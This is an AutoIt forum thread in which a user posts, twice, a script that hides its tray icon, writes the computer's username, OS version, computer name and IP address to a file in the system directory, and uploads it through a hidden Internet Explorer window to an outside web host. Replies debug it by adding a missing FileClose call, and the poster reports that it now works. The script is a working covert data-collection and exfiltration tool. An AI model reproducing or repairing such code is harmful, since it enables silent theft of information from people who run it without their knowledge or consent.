Sign in to follow this  
Followers 0
LIMITER

CREATING A FILE, WRITE SOMETHING IN THE FILE AND UPLOAD

4 posts in this topic

#1 ·  Posted (edited)

When the script uploads the file, on the server the file is shown as having 0 bytes .

What's the problem ?????

#NoTrayIcon
#include <IE.au3>
#include <File.au3>

$sFilePath = @SystemDir & "\limiter.txt"
_FileCreate ( $sFilePath )
$file = FileOpen($sFilePath, 1)
FileWrite($file,"LIMITER - " & @MDAY & "/" & @MON & "/" & @YEAR & " - " & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF)
FileWrite($file,"----------------------------------------------" & @CRLF)
FileWrite($file,"Username : " & @UserName & @CRLF)
FileWrite($file,"OS Verison : " & @OSVersion & @CRLF)
FileWrite($file,"Computer Name : " & @ComputerName & @CRLF)
FileWrite($file,"User Name : " & @UserName & @CRLF)
FileWrite($file,"IP Address : " & @IPAddress1 & @CRLF)
FileWrite($file,"-----------------------------------------------" & @CRLF)

$oIE = _IECreate ("http://limiter.evonet.ro/upload.html",0,0)
$hwnd = _IEPropertyGet($oIE, "hwnd")
$oForm = _IEFormGetObjByName ($oIE, "upload")
$oQuery = _IEFormElementGetObjByName ($oForm, "uploaded")

_IEAction($oQuery, "focus")
Sleep(250)
ControlSend($hwnd, "", "Internet Explorer_Server1", @SystemDir & "\limiter.txt")
ControlSend($hwnd, "", "Internet Explorer_Server1", "{ENTER}")

Exit

THANKS IN ADVANCE !!! :)

Edited by LIMITER

Share this post


Link to post
Share on other sites



When the script uploads the file, on the server the file is shown as having 0 bytes .

What's the problem ?????

#NoTrayIcon
#include <IE.au3>
#include <File.au3>

$sFilePath = @SystemDir & "\limiter.txt"
_FileCreate ( $sFilePath )
$file = FileOpen($sFilePath, 1)
FileWrite($file,"LIMITER - " & @MDAY & "/" & @MON & "/" & @YEAR & " - " & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF)
FileWrite($file,"----------------------------------------------" & @CRLF)
FileWrite($file,"Username : " & @UserName & @CRLF)
FileWrite($file,"OS Verison : " & @OSVersion & @CRLF)
FileWrite($file,"Computer Name : " & @ComputerName & @CRLF)
FileWrite($file,"User Name : " & @UserName & @CRLF)
FileWrite($file,"IP Address : " & @IPAddress1 & @CRLF)
FileWrite($file,"-----------------------------------------------" & @CRLF)

$oIE = _IECreate ("http://limiter.evonet.ro/upload.html",0,0)
$hwnd = _IEPropertyGet($oIE, "hwnd")
$oForm = _IEFormGetObjByName ($oIE, "upload")
$oQuery = _IEFormElementGetObjByName ($oForm, "uploaded")

_IEAction($oQuery, "focus")
Sleep(250)
ControlSend($hwnd, "", "Internet Explorer_Server1", @SystemDir & "\limiter.txt")
ControlSend($hwnd, "", "Internet Explorer_Server1", "{ENTER}")

Exit

THANKS IN ADVANCE !!! :P

Welcome to the forums :)

I can't give a complete answer because I don't know the IE functions, but I thought I'd just give a small comment.

I would expect that you should close the file after you have written to it and before you try to transfer it , so after the the last FileWrite add a line FileClose($file)


Serial port communications UDF Includes functions for binary transmission and reception.printing UDF Useful for graphs, forms, labels, reports etc.Add User Call Tips to SciTE for functions in UDFs not included with AutoIt and for your own scripts.Functions with parameters in OnEvent mode and for Hot Keys One function replaces GuiSetOnEvent, GuiCtrlSetOnEvent and HotKeySet.UDF IsConnected2 for notification of status of connected state of many urls or IPs, without slowing the script.

Share this post


Link to post
Share on other sites

JUST A REMINDER:

DO NOT USE CAPSLOCK IN YOUR POSTS.

Ok? Ok. :)

Share this post


Link to post
Share on other sites

#4 ·  Posted (edited)

JUST A REMINDER:

DO NOT USE CAPSLOCK IN YOUR POSTS.

Ok? Ok. :)

srry for the capslock and thanks !!!!! it worked !!!

Edited by LIMITER

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0